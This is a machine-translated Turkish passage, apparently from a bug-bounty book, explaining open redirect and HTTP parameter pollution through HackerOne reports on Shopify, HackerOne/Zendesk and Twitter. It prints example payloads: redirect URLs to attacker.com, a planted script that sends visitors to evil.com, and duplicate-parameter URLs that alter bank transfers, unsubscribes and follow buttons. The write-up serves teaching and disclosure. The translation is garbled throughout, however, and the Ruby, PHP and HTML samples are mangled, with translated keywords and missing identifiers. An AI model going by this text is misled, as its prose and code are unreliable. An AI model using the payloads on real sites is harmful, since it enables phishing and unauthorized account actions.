istekleri diğer sunuculara ileten sunucu)

SEÇENEKLER yöntem haberleşmeyi hakkında bir sunucudan bilgi isteme kullanılır
katyon seçenekleri mevcuttur. Örneğin, SEÇENEKLER aranıyor, sunucunun
GET, POST, PUT, DELETE ve SEÇENEKLER çağrıları kabul eder, ancak BAŞ veya İZLEME kabul etmez.

Şimdi, internetin nasıl çalıştığının temel bir anlayışıyla donanmış olarak,
İçinde bulunabilecek farklı güvenlik açıkları.

4. Yönlendirme Güvenlik Açıklarını Açın

Açıklama

Bir mağdur belirli bir URL için belirli bir URL'yi ziyaret ettiğinde açık bir yönlendirme güvenlik açığı ortaya çıkar.
web sitesi ve bu web sitesi mağdurun tarayıcısına tamamen farklı bir ziyarette bulunma talimatı verir.
URL, ayrı bir etki alanında. Örneğin, Google'ın aşağıdaki URL'yi kullandığını varsayalım.
kullanıcıları Gmail'e yönlendirmek için:

https://www.google.com?redirect_to=https://www.gmail.com

Bu URL'yi ziyaret eden Google, bir GET HTTP isteği alır ve redirect_to öğesini kullanır.
ziyaretçinin tarayıcısının nereye yönlendirileceğini belirleyen parametrenin değeri. Sonra
bu şekilde, Google, kullanıcının tarayıcısına talimat vererek 302 HTTP yanıtı verir
https://www.gmail.com adresine bir GET isteği yapmak için , redirect_to parametresinin değeri. Şimdi,
orijinal URL'yi şu şekilde değiştirdiğimizi varsayalım:

https://www.google.com?redirect_to=https://www.attacker.com

Google, redirect_to parametresinin kendi okunaklı değerlerinden biri olduğunu doğrulamıyorsa

ziyaretçi göndermeyi amaçladıkları sitelere benzemek (örneğimizde https://www.gmail.com),
bu açık bir yönlendirmeye karşı savunmasız olabilir ve talimatı veren bir HTTP yanıtı verebilir.
ziyaretçinin tarayıcısı https://www.attacker.com adresine GET isteği yapmak için.

Özel bir topluluk olan Açık Web Uygulaması Güvenliği Projesi (OWASP)
web'deki en kritik güvenlik hatalarının bir listesini oluşturan uygulama güvenliği
uygulamalar, bu güvenlik açığını 2013'ün İlk On güvenlik açığı listesinde listeledi. Açık
Örneğimizde, https://www.google.com/ adresindeki belirli bir alan adının güvenliğinden faydalanılmasını
mağdurları kötü niyetli bir web sitesine çeker. Bu, kullanıcıları kandırmak için kimlik avı saldırılarında kullanılabilir
inandıklarına göre, değerli oldukları zaman güvenilir siteye bilgi gönderiyorlar.
bilgiler aslında kötü amaçlı bir siteye gidiyor. Bu aynı zamanda saldırganların dağıtımını sağlar
kötü amaçlı siteden kötü amaçlı yazılım veya OAuth belirteçleri çalmak (daha sonra ele aldığımız bir konu)
bölüm).

Bu tür güvenlik açıklarını ararken, gönderilen bir GET isteğini arıyorsunuz
Test ettiğiniz siteye, yönlendirilecek URL'yi belirten bir parametre ile.

Örnekler

1. Shopify Theme Install Açık Yönlendirme

Zorluk : Düşük

URL : app.shopify.com/services/google/themes/preview/supply–blue?domain_name=XX

Rapor Bağlantısı : https://hackerone.com/reports/101962ı

Rapor Tarihi : 25 Kasım 2015

Ödemeli Ödül : 500 Dolar

Tanım :

İlk açık yönlendirme örneğimiz, bir e-ticaret çözümü olan Shopify'da bulundu.
Bu, kullanıcıların malları satmak için bir çevrimiçi mağaza kurmasını sağlar. Shopify'ın platformu
yöneticiler mağazalarının görünümlerini ve hislerini kişiselleştirmek için ve
Bunu yeni bir tema yükleyerek yapabilirsiniz. Bu işlevselliğin bir parçası olarak, daha önce Shopify
yeniden yönlendirme parametresi içeren URL'ler aracılığıyla tema için bir önizleme sağladı.
yönlendirme URL'si okunabilirlik için değiştirdiğim aşağıdakine benzer:

https://app.shopify.com/themes/preview/blue?domain_name=example.com/admin

Temanın önizlemesini görüntülemek için URL'nin bir kısmı, sonunda bir domain_name parametresi içeriyordu.
yönlendirilecek başka bir URL belirtilecek URL. Shopify yönlendirme URL'sini doğrulamıyor
Bu nedenle, bir kurbanı http://example.com/admin adresine yönlendirmek için parametre değerinden yararlanılabilir.
Kötü niyetli bir saldırganın kullanıcıyı kimlik avı edebileceği yer.

çıkarımlar

Tüm güvenlik açıkları karmaşık değildir. Bu açık yönlendirme, basitçe değişen gerekli
domain_name parametresi, sonuçta sonuçlanacak harici bir siteye
bir site dışına Shopify'dan yönlendiriliyor.

2. Shopify Giriş Aç Yönlendirme

Zorluk : Orta

URL : http://mystore.myshopify.com/account/login

Rapor Bağlantısı : https://hackerone.com/reports/103772[2]

Rapor Tarihi : 6 Aralık 2015

Ödemeli Ödül : 500 Dolar

Tanım :

Bu açık yönlendirme, burada belirtilen ilk Shopify örneğine benziyor, Shopify'ın parametresi kullanıcıyı URL parametresi tarafından belirtilen etki alanına yönlendirmiyor, parametrenin, Shopify alt etki alanının sonundaki değeri. Normalde bu olurdu

[1] https://hackerone.com/reports/101962
[2] https://hackerone.com/reports/103772

Bir kullanıcıyı belirli bir mağazadaki belirli bir sayfaya yönlendirmek için kullanılmıştır. Kullanıcı giriş yaptıktan sonra Shopify'da, Shopify kullanıcıyı yönlendirmek için checkout_url parametresini kullanır. Örneğin, eğer bir mağdur ziyaret etmişse:

http://mystore.myshopify.com/account/login?checkout_url=.attacker.com

URL'ye yönlendirileceklerdi:

http://mystore.myshopify.com.attacker.com

aslında bir Shopify etki alanı değil çünkü .attacker.com'da bitiyor. DNS aramalar bu örnekte en sağdaki etki alanı etiketi olan .attacker.com adresini kullanır . Öyleyse ne zaman:

http://mystore.myshopify.com.attacker.com

DNS araması için gönderildi, Shopify'a ait olmayan attacker.com'da eşleşecek, ve myshopify.com'u Shopify'ın istediği gibi değil.

Shopify mağaza URL'sini birleştirdiğinden, bu durumda http://mystore.myshopify.com , checkout_url parametresi, bir saldırgan herhangi bir yere kurban gönderemez özgürce. Ancak saldırgan, kullanıcıyı sağladıkları sürece başka bir etki alanına gönderebilir yönlendirme URL'si aynı alt etki alanına sahipti.

çıkarımlar

Yönlendirme parametreleri her zaman açıkça etiketlenmemiş olabilir, çünkü parametreler siteden siteye farklı hatta bir site içinde bile adlandırılabilir. Bazı durumlarda sen parametrelerin r = gibi tek karakterlerle etiketlendiğini bile bulabilir veya u = .Açık yönlendirmeleri ararken URL parametrelerini göz önünde bulundurun URL'leri, yönlendirme, sonraki, vb. kelimeleri içerir. siteler kullanıcıları yönlendirecektir.

Ayrıca, sitenin döndürdüğü son URL'nin yalnızca bir bölümünü kontrol edebiliyorsanız, örneğin, yalnızca checkout_url parametre değerini ve parametrenin mağaza gibi sitenin arka tarafındaki kodlanmış bir URL ile birleştiriliyor URL http://mystore.myshopify.com , nokta gibi özel URL karakterleri eklemeyi deneyin veya @ URL'nin anlamını değiştirmek ve bir kullanıcıyı başka bir etki alanına yönlendirmek için.

3. HackerOne Interstitial Redirect

Zorluk : Orta

URL : Yok

Rapor Bağlantısı : https://hackerone.com/reports/111968[3]

Rapor Tarihi : 20 Ocak 2016

[3] https://hackerone.com/reports/111968

Sayfa 28

Ödemeli Ödül : 500 Dolar

Tanım :

Geçiş reklamı web sayfası, beklenen içerikten önce gösterilen sayfadır. Birini kullanmak bir
Herhangi bir zamandan beri açık yönlendirme açıklarına karşı korunmak için yaygın bir yöntem
Bir kullanıcıyı bir URL'ye yönlendirirken, bir geçiş reklamı web sayfasını mesajla birlikte gösterebilirsiniz.
Kullanıcıya bulundukları alandan çıktıklarını açıklamak. Bu şekilde, eğer yönlendirme
sayfa sahte giriş yaptığını gösteriyor veya güvenilir etki alanı gibi davranmaya çalışıyor, kullanıcı bilecek
yönlendirilmeleri. HackerOne'un takip ettiği zaman bu yaklaşım
örneğin, gönderilen raporlardaki bağlantıları takip ederken sitelerinin dışındaki URL'lerin çoğu. olmasına rağmen
geçiş reklamı web sayfaları, güvenlik açıklarını ve bu yoldaki komplikasyonları önlemek için kullanılır.
siteler birbirleriyle etkileşime girmeye devam ederse, yine de bağlantıların bozulmasına neden olabilir.

HackerOne, müşteri hizmetleri destek biletleme sistemi olan Zendesk'i desteklemesi için kullanıyor
alt alan. Hackerone.com / zendesk_session tarafından takip edildiğinde kullanıcılar
Geçiş yapmadan HackerOne platformundan HackerOne Zendesk platformuna liderlik
sayfa HackerOne, hackerone.com'u içeren URL'lere güvendi. Bunlara ek olarak,
Zendesk, kullanıcıların / redi- parametresi aracılığıyla diğer Zendesk hesaplarına yönlendirmelerine izin verdi
rect_to_account? state = geçiş reklamı olmadan.

Bu yüzden, bu raporla ilgili olarak, Mahmoud Jamal Zendesk'te bir hesap oluşturdu.
Alt etki alanı, http://compayn.zendesk.com ve aşağıdaki Javascript kodunu
yöneticilerin kişiselleştirmelerini sağlayan Zendesk tema düzenleyicisine sahip bir üstbilgi dosyası
Zendesk sitesinin bakışı ve hissi:

```
<script> document.location.href = "http://evil.com"; </script>
```

Burada, Mahmoud, tarayıcıya http://evil.com adresini ziyaret etmesini bildirmek için JavaScript kullanıyor . Süre
JavaScript özelliklerine dalmak, bu kitabın kapsamı dışındadır, <script> etiketi
HTML ve belgede kod belirtmek için kullanılan tüm HTML belgesine atıfta bulunur
web sayfasının bilgileri olan Zendesk tarafından iade ediliyor. Noktalar ve
dokümanı takip eden isimler özellikleridir. Mülkiyet bilgi ve değerleri tutar
ya özellikleri oldukları nesnenin tanımlayıcıları ya da manipüle edilebilecekleri
nesnesini değiştirmek için. Böylece location özelliği web sayfasını kontrol etmek için kullanılabilir
tarayıcınız ve href alt özelliği (konumun özelliği olan)
tarayıcıyı tanımlanmış web sitesine yönlendirir. Dolayısıyla, aşağıdaki bağlantıyı ziyaret etmek yönlendirir
kurbanın tarayıcısının çalışmasını sağlayacak olan Mahmoud Zendesk alt etki alanına kurbanlar
Mahmoud'ın betiğini ve http://evil.com adresine yönlendirin (not, URL için düzenlenmiştir.
okunabilirliği):

```
https://hackerone.com/zendesk_session?return_to=https://support.hackerone.com/ping/redirect?state=compayn:/
```

Bağlantı hackerone.com alanını içerdiğinden, geçiş reklamı web sayfası görünmüyor
Oynatıldı ve kullanıcı ziyaret ettikleri sayfanın güvenli olmadığını bilmiyor. Şimdi, ilginç bir şekilde,
Mahmud aslen bu yönlendirme konusunu Zendesk'e bildirdi, ancak bu ihmal edildi.
bir güvenlik açığı olarak işaretlenmemiş. Doğal olarak, nasıl olabileceğini görmek için kazmaya devam etti.

sömürülen.

çıkarımlar

Güvenlik açıklarını ararken, bir sitenin kullandığı hizmetleri dikkate alın
her biri yeni saldırı vektörlerini temsil eder. İşte bu güvenlik açığı mümkün oldu
HackerOne'un Zendesk kullanımını ve bilinen yönlendirmeyi birleştirerek
izin.

Ek olarak, hataları bulduğunuzda, güvenlik uygulamasının gerçekleştiği zamanlar da olacaktır.
Sizin için okuyan ve cevaplayan kişi tarafından kolayca anlaşılmaz.
bildiri. Bu nedenle, Güvenlik Açığı Raporları ile ilgili ayrıntıları içeren bir bölümüm var.
Bir rapora dahil etmek, şirketler ile ilişkilerin nasıl kurulacağını ve diğer
bilgi. Önceden küçük bir iş yaparsanız ve güvenliği saygıyla açıklarsanız
Raporunuzdaki çıkarımlar, daha yumuşak bir çözüm sağlanmasına yardımcı olacaktır.

Ancak, bu bile olsa, şirketlerin sizinle aynı fikirde olmadığı zamanlar olacak.
Eğer durum buysa, Mahmoud'ın yaptığı gibi kazmaya devam edin ve
etkinliği göstermek için onu başka bir güvenlik açığı ile sömürün veya birleştirin.

özet

Açık yönlendirmeler, kötü niyetli bir saldırganın insanları bilmeden kötü niyetli bir kişiye yönlendirmesini sağlar
İnternet sitesi. Onları bulmak, bu örneklerin gösterdiği gibi, sıklıkla keskin gözlem gerektirir.
Yönlendirme parametreleri bazen redirect_to =, domain_- gibi isimlerle kolayca anlaşılabilir
name =, checkout_url =, vb. Oysa diğer zamanlarda daha az belirgin olabilirler
r =, u = ve benzeri isimler.

Bu tür bir güvenlik açığı, mağdurların ziyaret etmeleri için kandırıldıkları bir güven kötüye kullanımına dayanıyor
Bir saldırganın sitesi, tanıdıkları bir siteyi ziyaret edeceklerini düşünüyor. Muhtemel tespit ettiğinizde
hassas parametreler, bunları iyice test ettiğinizden ve özel karakterler eklediğinizden emin olun,
URL'nin bir kısmı sabit kodlanmışsa, bir dönem gibi.

Ek olarak, HackerOne geçiş reklamı yönlendirmesi, mesajların tanınmasının önemini gösterir.
güvenlik açıklarını ve ne kadar zaman zaman avlanırken web siteleri ve araçlar kullanıyor
tanınmadan önce ısrarcı olmanız ve bir güvenlik açığı olduğunu açıkça göstermeniz gerekir.
ve ödül için kabul edildi.

5. HTTP Parametre Kirliliği

Açıklama

HTTP Parameter Kirliliği veya HPP, bir web sitesinin param davranışını nasıl değiştirdiğini belirtir.
HTTP istekleri sırasında aldığı gibi. Güvenlik açığı, parametreler olduğunda ortaya çıkar
Güvenlik açığı bulunan web sitesi tarafından enjekte edilir ve güvenilmez, beklenmedik davranışlara yol açar. Bu
arka tarafta, sunucu tarafında, sitenin sunucularını ziyaret ettiğiniz yerde olabilir.
bilgileri sizin için veya müşteri tarafında görünmeyen bilgileri görebilir;
genellikle tarayıcınız olan istemcinizde

Sunucu Tarafı HPP

Bir web sitesine talepte bulunduğunuzda, sitenin sunucuları isteği işler ve geri döner.
Bölüm 1'de ele aldığımız gibi bir cevap. Bazı durumlarda, sunucular sadece geri dönmeyeceklerdir.
Bir web sayfası, ancak aynı zamanda aracılığıyla verilen bilgilere dayanarak bazı kodlar çalıştıracaktır.
URL gönderildi. Bu kod yalnızca sunucularda çalışır, bu yüzden aslında sizin için görünmez -
gönderdiğiniz bilgileri ve geri aldığınız sonuçları, ancak
arasında bir kara kutu var. Sunucu tarafı HPP'de, sunuculara beklenmeyen bilgileri gönderiyorsunuz
Sunucu tarafı kodunu yapma girişiminde beklenmedik sonuçlar döndürülüyor. Çünkü yapamazsın
Sunucu kodunun nasıl çalıştığını görmek için sunucu tarafındaki HPP size
potansiyel olarak savunmasız parametreler ve bunlarla deneme.

Bankanız kendi hesabınıza havale yapmaya başladığında, sunucu tarafında bir HPP örneği olabilir.
URL parametrelerini kabul ederek sunucularında işlenen web sitesi. Sen söyle
Üç URL parametresindeki değerleri, ila arasında ve tutarında değerleri doldurarak para aktarabilir,
Para transfer edilecek hesap numarasını, transfer edilecek hesabı belirleyecektir.
ve bu sırayla aktarılacak tutar. Aktarılan bu parametrelere sahip bir URL
12345 hesap numarasından 67890 hesap numarasına 5.000 ABD doları şöyle görünebilir:

https://www.bank.com/transfer?from=12345&to=67890&amount=5000

Banka sadece bir tane alacağı varsayımını yapabilir.
parametresinden Ancak, iki tane gönderirseniz, aşağıdaki gibi olur:

https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF

Bu URL başlangıçta ilk örneğimizle aynı şekilde yapılandırılmış, ancak
ABCDEF gönderen başka bir hesap belirten parametre. Tahmin edebileceğiniz gibi
uygulama HPP'ye açıksa, saldırgan bir aktarım gerçekleştirebilir
bankanın aldığı parametreden en son güvendiği takdirde sahip olmadıkları bir hesaptan.

Sunucu tarafı kodu hesap 12345'ten 67890'a 5.000 ABD doları aktarmak yerine

ikinci parametreyi kullanın ve ABCDEF hesabından 67890'a para gönderin.

Hem HPP sunucu tarafı hem de istemci tarafı güvenlik açıkları, sunucunun nasıl davrandığına bağlıdır
Aynı ada sahip birden fazla parametre alırken. Örneğin, PHP / Apache
Son oluşumu kullanın, Apache Tomcat ilk oluşumu, ASP / IIS hepsini kullanın.
olaylar, vb. Sonuç olarak, kullanım için tek bir garantili işlem yoktur.
Aynı isimde birden fazla parametre teslimi ve HPP'nin bulunması bazı
test ettiğiniz sitenin nasıl çalıştığını doğrulamak için deneme.

Şimdiye kadarki örneğimizde açık olan parametreler kullanılırken, bazen HPP açık
bağlar, doğrudan görülemeyen koddaki gizli, sunucu tarafı davranışının bir sonucu olarak ortaya çıkar.
sen. Örneğin, diyelim ki bankamız transfer işlemlerini revize etmeye karar verdi
ve arka uç kodunu URL'de bir from parametresini içermeyecek şekilde değiştirdi, ancak
İçinde birden çok değer tutan bir dizi alın.

Bu kez, bankamız hesabın havale yapması için iki parametre alacaktır.
aktarılacak tutar. Aktarılacak hesap sadece verilecek. Örnek bir link
aşağıdaki gibi görünebilir:

https://www.bank.com/transfer?to=67890&amount=5000

Normalde sunucu tarafı kodu bizim için bir gizem olur, ama neyse ki onların hepsini çaldık
kaynak kodu ve biliyorum ki (bu örnek uğruna açıkça korkunç) sunucu-
side Ruby kodu şöyle görünür:

```
user.account = 12345

def prepare_transfer (params)
  params << user.account
  transfer_money (params) # user.account (12345) params olur [2]
son

def transfer_money (params)
  = params [0]
  miktar = param [1]
  = params [2] den
  Transfer (, bu miktar, dan)
son
```

Bu kod iki işlev yaratır: prepare_transfer ve transfer_money. Hazırla
Transfer fonksiyonu bir dizi adı alır **params** ihtiva **etmek** ve **miktarı**
URL'den parametreler. Dizi, dizi değerlerinin olduğu [67890,5000] olacaktır.
parantez arasında sıkıştırılmış ve her değer bir virgül ile ayrılmıştır. İlk satır
işlev, daha önce kodda tanımlanmış olan kullanıcı hesabı bilgilerini

dizinin sonuna, yani [67890,5000,12345] dizisine paramitlerle ve sonra
params transfer_money geçirilir.

Parametrelerin aksine, Ruby dizilerinin kendi adlarıyla ilişkilendirilmiş adları olmadığını fark edeceksiniz.
bu nedenle kod, her zaman sırayla her bir değeri içeren diziye bağlıdır.
aktarılacak hesabın ilk olduğu yerde, aktarılacak tutar sonraki sıradadır ve hesap
diğer iki değeri takip etmek için. Transfer_money'de, bu,
işlev her dizi değerini bir değişkene atar. Dizi konumları başlangıçta numaralandırılmış

0'dan, bu nedenle paragraflar [0], dizideki ilk konumdaki değere erişir.
Bu durumda, ve değişkene atar **etmek** . Diğer değerler değişkenlere de atanır
sonraki iki satırda ve sonra değişken isimleri transfer fonksiyonuna geçirilir,
bu kod snippet'inde gösterilmez, ancak değerleri alır ve gerçekte
para.

İdeal olarak, URL parametreleri her zaman kodun beklediği şekilde biçimlendirilir.
Bununla birlikte, saldırgan ileterek bu mantık sonucunu değiştirebilir **gelen** değeri
paragraflara, aşağıdaki URL'de olduğu gibi:

https://www.bank.com/transfer?to=67890&amount=5000&from=ABCDEF

Bu durumda, **from** parametresi ayrıca kendisine gönderilen params dizisine de dahil edilir.
prepare_transfer işlevi, dizilerin değerleri [67890,5000, ABCDEF] ve
kullanıcı hesabının eklenmesi aslında [67890,5000, ABCDEF, 12345] ile sonuçlanabilir. Sonuç olarak,
prepare_transfer içinde çağrılan transfer_money işlevinde, **from** değişken
12345 user.account değerini beklemek için üçüncü parametreyi alın, ancak gerçekte
saldırganın geçtiği ABCDEF değerine atıfta bulun.

İstemci Tarafı HPP

Öte yandan, HPP istemci tarafı güvenlik açıkları, parametreleri enjekte etme yeteneğini içerir
daha sonra sayfaya geri kullanıcıya yansıyan bir URL'ye.

Bu güvenlik açığından bahseden iki araştırmacı Luca Carettoni ve Stefano di Paola
2009'da yazın, bu davranışın bir örneğini kullanarak sunumlarına
teorik URL http: //host/page.php? par = 123% 26action = düzenle ve sonraki sunucu tarafı
kod:

```
<? $ val = htmlspecialchars ( $ _GET [ 'par' ], ENT_QUOTES); ?>
<a href= "/page.php?action=view&par='. <? = $val ?> . '" > Beni Görün ! </a>
```

Burada, kod kullanıcının girdiği URL'yi temel alan yeni bir URL oluşturur. Oluşturulan URL
ikincisi belirlenen bir **işlem** parametresi ve bir **par** parametresi içerir
kullanıcının URL'sine göre. Teorik URL'de, saldırgan 123% 26action = değiştir
URL'deki **par** için değer olarak . % 26, & için URL kodlu değerdir, yani
URL ayrıştırıldığında,% 26, & olarak yorumlanır. Bu ek bir parametre ekler

Açık bir **işlem** parametresi eklemeden oluşturulan href bağlantısına . Kullanmışlar mı
123 & action = edit, bunun yerine iki ayrı parametre olarak yorumlanırdı.
böylece **par** 123 eşit olur ve parametre **eylem** düzenlemeyi eşit olacaktır. Ancak siteden beri
sadece yeni URL'yi oluşturmak için kodundaki **par** parametresini arıyor ve kullanıyor
eylem parametresi bırakılır. Bu sorunu çözmek için% 26 kullanılır.
bu **işlem** başlangıçta ayrı bir parametre olarak tanınmaz, bu nedenle **par'ın** değeri
% 123 26action = düzenlemek.

Şimdi, **par** (kodlanmış ve% 26 gibi) htmlspecialchars işlevine geçirilir.
Bu işlev,% 26 gibi özel karakterleri HTML kodlanmış değerlerine dönüştürür
sonuçlanan% 26 ise &. Dönüştürülen değer daha sonra $ val'a kaydedilir. O zaman yeni
link, adresindeki href değerine $ val ekleyerek oluşturulur. Böylece oluşturulan link olur:

```
<a href="/page.php?action=view&par=123&action=edit">
```

Bunu yaparken, saldırgan ek eylemi eklemeyi başardı = href URL'sine düzenle
bu, sunucunun iki alıcıyı alma biçimine bağlı olarak bir güvenlik açığına neden olabilir

işlem parametreleri

Örnekler

1. HackerOne Sosyal Paylaşım Düğmeleri

Zorluk : Düşük

URL : https://hackerone.com/blog/introducing-signal-and-impact

Rapor Bağlantısı : https://hackerone.com/reports/105953[1]

Rapor Tarihi : 18 Aralık 2015

Ödemeli Ödül : 500 Dolar

Tanım :

HackerOne blog gönderileri, içeriği gibi popüler sosyal medya sitelerinde içerik paylaşmak için bağlantılar içerir
Twitter, Facebook vb. Bu bağlantılar kullanıcının göndereceği içerik oluşturur
Özgün blog gönderisine geri bağlanan sosyal medya. Gönderileri oluşturma bağlantıları
başka bir kullanıcı paylaşılan yayını tıklattığında blog yayınına yönlendiren parametreler.

Bir bilgisayar korsanının başka bir URL parametresinde yapabileceği bir güvenlik açığı keşfedildi
paylaşılan sosyal medya bağlantısına yansıtılacak olan bir blog gönderisini ziyaret ederken,
Böylece, paylaşılan gönderiyi, amaçlanan blogdan başka bir yere bağlayarak sonuçlandı.
Güvenlik açığı raporunda kullanılan örnek, URL'yi ziyaret etmeyi içeriyordu:

https://hackerone.com/blog/introducing-signal

[1] https://hackerone.com/reports/105953

ve sonra ekleme

& U = https: //vk.com/durov

Bunun sonuna kadar. Blog sayfasında, Facebook'ta paylaşılacak bir bağlantının ne zaman oluşturulduğu
HackerOne bağlantı olur:

https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov

Kötü niyetli olarak güncellenen bu bağlantı, içeriği paylaşmaya çalışan HackerOne ziyaretçileri tarafından tıklandıysa
Sosyal medya bağlantıları aracılığıyla, son **u** parametresine öncelik sırasına göre öncelik verilecektir.
önce ve sonra Facebook gönderisinde kullanılır. Bu Facebook kullanıcılarına yol açacaktır
bağlantıyı tıklatarak ve HackerOne yerine https://vk.com/durov adresine yönlendirilir.

Ek olarak, Twitter'a gönderilirken, HackerOne'da varsayılan Tweet metni
yazıyı tanıtırdı. Bu , url'ye **& text =** eklenerek de değiştirilebilir:

https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov

Bir kullanıcı bu bağlantıyı tıklandığında sonra, metin vardı bir Tweet pop-up alacağı **another_-site:** HackerOne blogunu tanıtan metin yerine **https://vk.com/durov** .

çıkarımlar

Web siteleri içerik kabul ettiğinde ve göründüğünde fırsatlara dikkat edin
sosyal medya siteleri gibi başka bir web servisiyle iletişim kurmak ve

Paylaşılan bir gönderi oluşturmak için bağlantıyı oluşturmak için geçerli URL.
Bu gibi durumlarda, gönderilen içeriğin aktarılması mümkün olabilir
parametreye yol açabilecek uygun güvenlik kontrolleri yapılmadan açık
kirlilik açıkları.

2. Twitter Abonelikten Çıkma Bildirimleri

Zorluk : Düşük

URL : twitter.com

Rapor Bağlantısı : blog.mert.ninja/twitter-hpp-vulnerability [2]

Rapor Tarihi : 23 Ağustos 2015

Ödemeli Ödül : 700 $

Tanım :

Ağustos 2015'te, hacker Mert Taşçı aboneliğinden çıkarken ilginç bir URL gördü.
Twitter bildirimleri almak:

[2] http://blog.mert.ninja/blog/twitter-hpp-vulnerability

https://twitter.com/i/u?iid=F6542&uid=1134885524&nid=22+26

(Bunu kitap için biraz kısalttım). **UID** parametresini fark ettiniz mi? Bu olur
Twitter hesabınızın kullanıcı kimliği olmak için. Farkındayım ki, çoğumuzun üstesinden geldiğimi yaptı.
Hacker'lar yapar, **UID'yi** başka bir kullanıcınınkine değiştirmeye **çalışırdı** .
Twitter bir hata döndürdü.

Başkalarının vazgeçtiği yerde devam etmeye kararlı olan Mert, bir saniye daha eklemeye çalıştı
UID parametresi böylece URL'ye benziyordu (yine bunu kısalttım):

https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26

Ve BAŞARI! Başka bir kullanıcının e-posta bildirimlerinden aboneliğini kaldırmayı başardı.
Görünüşe göre Twitter, HPP aboneliği iptal eden kullanıcılara karşı savunmasızdı.

çıkarımlar

Kısa bir açıklama olsa da, Mert'in çabaları
sistence ve bilgi. Daha sonra güvenlik açığından kurtulmuş olsaydı
Değişen **UID** Başka bir kullanıcının ve başarısız ya da o hakkında bilmek olmasaydı HPP-
güvenlik açıklarını yazın, 700 dolarlık ödülünü almazdı.

Ayrıca, HTTP isteklerine dahil edilen **UID** gibi parametrelere dikkat edin
birçok güvenlik açığı web yapmak için parametre değerlerini değiştirmeyi içerir
beklenmedik şeyler yapan uygulamalar.

3. Twitter Web Amaçları

Zorluk : Düşük

URL : twitter.com

Rapor Bağlantısı : Twitter Web Parametre Kurcalama Saldırısı [3]

Rapor Tarihi : Kasım 2015

Ödemeli Ödül : Açıklanmadı

Tanım :

Twitter Web Intents, Twitter kullanıcısının tweet'leriyle çalışmak için pop-up akışlar sağlar, cevaplar, twitter olmayan siteler bağlamında retweet, beğenme ve takip etme. Mümkün kılar Kullanıcılar sayfadan ayrılmadan veya bir yetkilendirmeye gerek duymadan Twitter içeriği ile etkileşime girme sadece etkileşim için yeni bir uygulama. İşte bu pop-up'lardan birinin görünüşüne bir örnek sevmek:

[3] https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents

Sayfa 36

Twitter Niyeti

Bunu test eden hacker Eric Rafaloff, bir kullanıcıyı takip eden dört niyet türünün hepsinin, bir tweet sevme, retweetleme ve tweetleme, HPP'ye açıktı. Twitter yaratır GET isteği yoluyla aşağıdaki gibi URL parametreleri içeren her bir niyet:

https://twitter.com/intent/intentType?paramter_name=paramterValue

Bu URL, **intentType** ve bir veya daha fazla parametre adı / değer çifti içerir.
örneğin bir Twitter kullanıcı adı ve Tweet kimliği. Twitter bu parametreleri oluşturmak için kullanır
pop-up kullanıcının takip etmesini ya da beğenilmesini tweetlemek için gösterme niyeti. Eric yarattığını buldu.
Beklenen yerine, takip amacı için iki **screen_name** parametresi olan bir URL
tekil **ekran_adı** , şöyle:

Sayfa 37

https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3

Twitter ikinci **screen_name'den** öncelik vererek isteği yerine **getirir**
Bir takip düğmesi oluştururken ilk twitter değerinin üzerindeki ericrtest3 değerini, böylece kullanıcı
Twitter'ın resmi hesabını takip etmeye çalışmak Eric'in
Test hesabı Eric tarafından oluşturulan URL'yi ziyaret etmek aşağıdaki HTML formuyla sonuçlanır
Twitter'ın arka kodunda iki **screen_name** parametresiyle oluşturuluyor:

```
<form class = "follow" id = "follow_btn_form" eylem = "/ intent / follow? screen_name = eri \
crtest3 " method = " post " >
  <input type = "hidden" name = "authenticity_token" value = "..." >
  <input type = "hidden" name = "ekran_adı" value = "twitter" >
  <input type = "hidden" name = "profile_id" value = "783214" >
  <button class = "button" type = "Gönder" >
    <b></b> <strong> Takip Et </strong>
  </ Düğmesi>
</ Form>
```

Twitter bilgileri ilk **screen_name** parametresinden alır;
resmi Twitter hesabı ile ilişkilendirilir, böylece bir mağdur doğru profili görür.
URL'nin ilk **screen_name** parametresi URL olduğundan, izlemeyi düşündüğü kullanıcının
iki giriş değerini doldurmak için kullanılır. Ancak, düğmeyi tıklattıktan sonra takip ederler
ericrtest3 çünkü form etiketindeki eylem bunun yerine ikinci **screen_name öğesini** kullanır.
parametresinin form etiketinin işlem paragrafındaki değeri, orijinal URL'ye iletildi:

https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3

Benzer şekilde, beğenilmek için niyetler sunarken, Eric bir **ekran_adı** içerebileceğini buldu.
Tweet'in beğenilmemesiyle ilgisi olmasa da parametre. Örneğin, yaratabilirdi
URL:

https://twitter.com/intent/like?tweet_id=661625230297821184 5&screen_name=ericrtest3

Normal bir benzer niyet sadece tweet_id parametresine ihtiyaç duyardı, ancak Eric enjekte etti.
URL'nin sonuna kadar **screen_name** parametresi. Bu tweet'i beğenmek bir kurbanla sonuçlanabilir
Tweet'i beğenmek için doğru kullanıcı profiliyle sunuluyor, ancak takip et düğmesi
doğru Tweet ve tweeter'ın doğru profili ile birlikte
ilgisiz kullanıcı ericrtest3 için.

çıkarımlar

Bu, önceki UID Twitter güvenlik açığına benzer. Şaşırtıcı olmayan bir şekilde, ne zaman
Site HPP gibi bir hasara karşı savunmasız, daha geniş bir sistemik göstergesi olabilir
konu. Bazen böyle bir güvenlik açığı bulursanız, zaman ayırmaya değer
Platformu tümüyle araştırmak, bulunduğunuz başka yerler olup olmadığını görmek için
benzer davranışlardan yararlanabilir.

özet

HTTP Parametre Kirliliği tarafından oluşturulan risk gerçekten gerçekleştirilen işlemlere bağlıdır
Bir sitenin arka ucu ve kirli parametrelerin kullanıldığı yerler.

Bu tür güvenlik açıklarını keşfetmek gerçekten denemelere bağlıdır.
diğer güvenlik açıklarından daha fazla, çünkü bir web sitesinin arka uç işlemleri kara kutu olabilir
Bir bilgisayar korsanına, yani, ne gibi bir eylemle ilgili muhtemelen çok az bir fikre sahip olacaksınız.
arka uç sunucu girişinizi aldıktan sonra alır.

Deneme ve yanılma yoluyla, bu tür güvenlik açığı durumlarını keşfedebilirsiniz.
ities. Sosyal medya bağlantıları genellikle iyi bir ilk adımdır, ancak kazmaya devam etmeyi ve
UID'ler gibi parametre değişimlerini test ederken HPP'yi düşünün.

